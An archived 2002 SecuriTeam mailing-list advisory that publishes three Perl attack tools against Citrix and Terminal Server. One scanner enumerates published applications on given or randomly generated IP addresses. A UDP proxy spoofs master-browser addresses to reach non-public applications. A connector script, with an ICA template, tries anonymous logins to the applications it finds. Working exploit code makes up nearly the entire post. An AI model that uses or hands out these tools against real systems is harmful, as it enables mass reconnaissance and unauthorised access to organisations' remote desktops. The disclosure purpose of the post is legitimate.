

[EXPL] Citrix and Terminal Server Multiple Exploits

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0048.html>

From: support@securiteam.com

Date: 08/15/02

From: support@securiteam.com

To: list@securiteam.com

Date: Thu, 15 Aug 2002 16:33:08 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Citrix and Terminal Server Multiple Exploits

SUMMARY

The following advisory contains three exploit codes for Citrix and Terminal Server, the exploit codes will allow you to enumerate Citrix published applications, and to connect to the published applications.

DETAILS

Citrix-pa-scan:

This tool should be used to enumerate Citrix published applications.

```
#!/usr/bin/perl
```

```
use Socket;
```

```
$_SIG{ALRM}=sub { $connection=0; close(CON); };
```

```
$trick_master=
```

```
"\x20\x00\x01\x30\x02\xFD\xA8\xE3" .
```

```
"\x00\x00\x00\x00\x00\x00\x00\x00" .
```

```
"\x00\x00\x00\x00\x00\x00\x00\x00" .
```

```
"\x00\x00\x00\x00\x00\x00\x00\x00"
```

```
;
```

```
$get_pa=
```

```
"\x2a\x00\x01\x32\x02\xfd" .
```

Securiteam: [EXPL] Citrix and Terminal Server Multiple Exploits

```
"\xa8\xe3\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x21\x00" .
"\x02\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00"
;

$|=1;

print "\nCitrix Published Application Scanner version 2.0\
By Ian Vitek, ian.vitek@ixsecurity.com\n";

die "\nUsage: $0 {IP | file | - | random } [timeout]\
\tIP\tIP to test\
\tfile\tRead IPs from file\
\t-\tRead IPs from standard input\
\trandom\tRead IPs from /dev/urandom\
\ttimeout\tTimeout\
\n" if(!$ARGV[0]);

$input=$ARGV[0];
$timeout=$ARGV[1];
$timeout=1 if(!$timeout);
if($input eq "-" || -r $input) {
    open(INPUTFD,"$input") or die "Cant open file $input: $!\n";
    $newHost=2;
} elsif ($input eq "random") {
    open(RANDOM,"/dev/urandom") or die "Cant open /dev/urandom: $!\n";
    binmode(RANDOM);
    $newHost=3;
} else {
    $newHost=1;
}

$loop=1;
while($loop==1) {
    undef $target;
    if($newHost==2) {
        $target=<INPUTFD> or exit;
        chomp $target;
        $target=~s/\s*(\S+)/$1/;
        redo if(!$target);
    } elsif ($newHost==1) {
        $loop=0;
        $target=$input;
    } elsif ($newHost==3) {
        undef @ch;
        $i=0;
        while($i<4) {
            while($ch[$i] < 1 || $ch[$i] > 254) {
```

Securiteam: [EXPL] Citrix and Terminal Server Multiple Exploits

```
    $ch[$i]=ord getc(RANDOM);
  }
  $i++;
}
$target=sprintf("%d.%d.%d.%d",$ch[0],$ch[1],$ch[2],$ch[3]);
} else {
  die "Nothing to do? Check input!\n\n";
}

#
# Get Master Browser
#
$server=inet_aton($target) or die "Is \"${target}\" a target?\n\n";
$retry=0;
$connection=0;
while($retry++<2 and $connection==0) {
  $connection=1;
  socket(CON, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
  send(CON, $trick_master, 0, sockaddr_in(1604, $server));
  alarm $timeout;
  $from_CON=recv(CON,$data,1500,0);
  alarm 0;
}
close(CON);
if($connection==0) {
  print "$target not responding\n";
  next;
}
undef $master_raw;
undef $master;
($master_raw)=$data=~/.+\x02\x00\x06\x44(...)/s;
if($master_raw) {
  $master=sprintf("%d.%d.%d.%d",ord substr($master_raw,0,1),ord
substr($master_raw,1,1),ord substr($master_raw,2,1),ord
substr($master_raw,3,1));
} else {
  $master="ERROR";
}
print "$target|$master";
if($target eq $master) {
  print "|1|";
} else {
  print "|0|";
}
}

#
# Enumerate PA
#
$retry=0;
$connection=0;
while($retry++<2 and $connection==0) {
```

Securiteam: [EXPL] Citrix and Terminal Server Multiple Exploits

```
$connection=1;
socket(CON, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
send(CON, $get_pa, 0, sockaddr_in(1604, $server));
alarm $timeout;
undef $data;
$from_CON=recv(CON,$data,1500,0);
alarm 0;
}
if($connection==0) {
    print "Connection lost\n";
    next;
}
undef $pa;
$pa=substr($data,40);
chop $pa;
$pa=~s/\x00\;/sg;
print "$pa";

#
# More packets?
#
$last_packet=ord substr($data,30,1);
while($last_packet==0) {
    $connection=1;
    alarm $timeout*2;
    undef $data;
    $from_CON=recv(CON,$data,1500,0);
    alarm 0;
    if($connection==0) {
        print ",ERROR";
        last;
    }
    undef $pa;
    $pa=substr($data,39);
    chop $pa;
    $pa=~s/\x00\;/sg;
    print "$pa";
    $last_packet=ord substr($data,30,1);
}
close(CON);
print "\n";
}
```

Citrix-pa-proxy:

This tool should be used to enumerate and connect to a published application with the Citrix client when the master browser is non-public.

```
#!/usr/bin/perl
use Socket;
```

Securiteam: [EXPL] Citrix and Terminal Server Multiple Exploits

```
die "\
* citrix-pa-proxy 2.0 by Ian.Vitek\@ixsecurity.com *\
usage: $0 IP_to_proxy_to [Local_ip]\
\
" if(@ARGV==0);

$timeout=2;
$server_ip=$ARGV[0];
$proxy_ip="127.0.0.1";
if($ARGV[1]) {
    $proxy_ip=$ARGV[1];
    $timeout=4;
}
$server=inet_aton($server_ip);
$proxy=inet_aton($proxy_ip);
$pa_connect=1;
while(1) {
    close(CON1);
    socket(CON1, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
    bind(CON1, sockaddr_in(1604,INADDR_ANY));
    $from_CON1=recv(CON1,$data1,1500,0);
    ($from_CON1_port,$from_CON1_ip)=sockaddr_in($from_CON1);
    if(substr($data1,3,5) eq "\x32\x02\xfd\xa8\xe3" && $pa_connect) {
        $pa_connect=0;
        warn("- Hey! This is a PA enumerate session.\n");
        warn("- Closing. Try to enumerate again.\n");
        redo;
    }
    if($pa_connect) {
        warn("PA connect from " . inet_ntoa($from_CON1_ip) . ":" .
$from_CON1_port . "\n");
    } else {
        warn("PA enumerate from " . inet_ntoa($from_CON1_ip) . ":" .
$from_CON1_port . "\n");
    }
    $connection=0;
    $retry=0;
    $SIG{ALRM}=sub { $connection=0; close(CON2); };
    while($retry++<3 and $connection==0) {
        socket(CON2, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
        $connection=1;
        alarm $timeout;
        warn("Sending request to $server_ip:1604\n");
        send(CON2, $data1, 0, sockaddr_in(1604,$server));
        alarm 0;
    }
    if($connection==0) {
        warn("No connection to $server_ip\n\n");
        close(CON1);
        next;
    }
}
```

Securiteam: [EXPL] Citrix and Terminal Server Multiple Exploits

```
alarm $timeout;
$from_CON2=recv(CON2,$data2,1500,0);
alarm 0;
close(CON2);
if($connection==0) {
    warn("No answer from $server_ip\n\n");
    close(CON1);
    next;
} else {
    warn("Got answer from $server_ip\n");
}
if(substr($data2,0,1) eq "\x30" && $pa_connect) {
    $data2=~s/\x02\x00\x06\x44(.)(.)(.)/\x02\x00\x06\x44$proxy/sg;
    $spooof=sprintf("%d.%d.%d.%d",ord $1,ord $2,ord $3,ord $4);
    warn("- Changing $spooof to $proxy_ip\n");
} else {
    $data2=~s/\x02\x00\x06\x44(.)(.)(.)/\x02\x00\x06\x44$server/sg;
    $spooof=sprintf("%d.%d.%d.%d",ord $1,ord $2,ord $3,ord $4);
    $data2=~s/\x02\x00\x05\xd6..../\x02\x00\x05\xd6$server/sg
if($pa_connect);
    warn("- Changing $spooof to $server_ip\n");
    $pa_connect=1;
}
warn("Proxying\n");
$SIG{ALRM}=sub { $connection=0; close(CON1); };
alarm $timeout;
send(CON1, "$data2", 0, $from_CON1);
alarm 0;
close(CON1);
if($connection==0) {
    warn("No connection to client\n\n");
    close(CON1);
    next;
} else {
    warn("Done\n\n");
}
}
```

Pas:

This tool should be used to connect to the applications reported by citrix-pa-scan.pl.

```
#!/usr/bin/perl
$|=1;
open(INDATA, "pas.wri") or die "Cant read data file: $!\n";
open(RESULT, ">pas_results.wri") or die "Cant create result file: $!\n";
while($line=<INDATA>) {
    chomp $line;
    next if( $line!~/^\(d+\.d+\.d+\.d+\)\|d+\.d+\.d+\.d+\|[01]\|(.)+/
);
```

Securiteam: [EXPL] Citrix and Terminal Server Multiple Exploits

```
$ip=$1;
@pa=split(';', $2);
foreach $test_pa (@pa) {
  open(TEMPLATE, "template.ica") or die "Cant open template file: $!\n";
  open(ICA, ">ica.ica") or die "Cant create ica file; $!\n";
  while($tline=<TEMPLATE>) {
    $tline=~s/IPIPIP/$ip/;
    $tline=~s/PAPAPA/$test_pa/;
    print ICA $tline;
  }
  close(ICA);
  system('ica.ica');
  $result=0;
  while($result < 1 || $result > 5) {
    print "\nHow did the connect to $test_pa on $ip go?\n";
    print "1: Wery well, anonymous login, but no desktop.\n";
    print "2: Anonymous and vulnerable.\n";
    print "3: Login required.\n";
    print "4: Error. No connection or similar.\n";
    print "\n";
    print "5: Redo\n";
    print "> ";
    $result=<>;
    chomp $result;
  }
  redo if($result==5);
  print RESULT "$ip|$test_pa|$result\n";
}
}
```

template.ica:
(Needed by pas.pl)

```
[WFClinet]
Version=2
ClientName=testClient
```

```
[ApplicationServers]
PAPAPA=
```

```
[PAPAPA]
Address=IPIPIP
InitialProgram=#PAPAPA
TransportDriver=TCP/IP
WinStationDriver=ICA 3.0
DesiredHRES=800
DesiredVRES=600
```

ADDITIONAL INFORMATION

Securiteam: [EXPL] Citrix and Terminal Server Multiple Exploits

The exploit codes have been provided by
<mailto:Jonas.Landin@ixsecurity.com> Jonas Ländin.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NEWS] Remote Denial of Service Vulnerability in Oracle9i SQL*NET"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)